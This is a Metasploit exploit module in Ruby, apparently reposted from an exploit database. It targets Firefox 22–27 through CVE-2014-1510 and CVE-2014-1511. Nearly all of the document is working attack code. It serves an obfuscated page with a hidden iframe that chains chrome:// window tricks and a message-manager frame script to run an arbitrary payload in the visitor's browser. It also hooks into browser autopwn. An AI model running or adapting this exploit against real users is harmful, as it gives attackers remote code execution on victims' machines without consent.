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# Firefox WebIDL Privileged Javascript Injection

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/exploitation/jsobfu'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation

autopwn_info({
:ua_name => HttpClients::FF,
:ua_maxver => "22.0",
:ua_maxver => "27.0",
:javascript => true,
:rank => ExcellentRanking
})

def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox WebIDL Privileged Javascript Injection',
'Description' => %q{
This exploit gains remote code execution on Firefox 22-27 by abusing two
separate privilege escalation vulnerabilities in Firefox's Javascript
APIs.
},
'License' => MSF_LICENSE,
'Author' => [
'Marius Mlynski', # discovery and pwn2own exploit
'joev' # metasploit module
],
'DisclosureDate' => "Mar 17 2014",
'References' => [
['CVE', '2014-1510'], # open chrome:// url in iframe
['CVE', '2014-1511'] # bypass popup blocker to load bare ChromeWindow
],
'Targets' => [
[
'Universal (Javascript XPCOM Shell)', {
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX
}
],
[
'Native Payload', {
'Platform' => %w{ java linux osx solaris win },
'Arch' => ARCH_ALL
}
]
],
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => lambda { |ver| ver.to_i.between?(22, 27) }
}
))

register_options([
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ])
], self.class)
end

def on_request_exploit(cli, request, target_info)
send_response_html(cli, generate_html(target_info))
end

def generate_html(target_info)
key = Rex::Text.rand_text_alpha(5 + rand(12))
frame = Rex::Text.rand_text_alpha(5 + rand(12))
r = Rex::Text.rand_text_alpha(5 + rand(12))
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
data_uri = "data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function()"+
"{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', "+
"'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>"

js = Rex::Exploitation::JSObfu.new(%Q|
var opts = #{JSON.unparse(opts)};
var key = opts['#{key}'];

// Load the chrome-privileged browser XUL script into an iframe
var c = new mozRTCPeerConnection;
c.createOffer(function(){},function(){
window.open('chrome://browser/content/browser.xul', '#{frame}');
step1();
});

// Inject a data: URI into an internal frame inside of the browser
// XUL script to pop open a new window with the chrome flag to prevent
// the new window from being wrapped with browser XUL;
function step1() {
var clear = setInterval(function(){

// throws until frames[0].frames[2] is available (when chrome:// iframe loads)
frames[0].frames[2].location;

// we base64 this to avoid the script tag screwing up things when obfuscated
frames[0].frames[2].location=window.atob('#{Rex::Text.encode_base64(data_uri)}');
clearInterval(clear);
setTimeout(step2, 100);
},10);
}

// Step 2: load the chrome-level window up with a data URI, which
// gives us same-origin. Make sure to load an "<iframe mozBrowser>"
// into the frame, since that will respond to our messageManager
// (this is important later)
function step2() {
var clear = setInterval(function(){
top.vvv.location = 'data:text/html,<html><body><iframe mozBrowser '+
'src="about:blank"></iframe></body></html>';
clearInterval(clear);
setTimeout(step3, 100);
}, 10);
}

function step3() {
var clear = setInterval(function(){
if (!frames[0]) return; // will throw until the frame is accessible
top.vvv.messageManager.loadFrameScript('data:,'+key, false);
clearInterval(clear);
setTimeout(function(){top.vvv.close();}, 100);
}, 10);
}

|)

js.obfuscate

%Q|
<!doctype html>
<html>
<body>
<iframe id='#{frame}' name='#{frame}'
style='position:absolute;left:-9999999px;height:1px;width:1px;'>
</iframe>
<script>
#{js}
</script>
#{datastore['CONTENT']}
</body>
</html>
|
end
end

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# Iranian Exploit DataBase = http://IeDb.Ir [2014-08-30]

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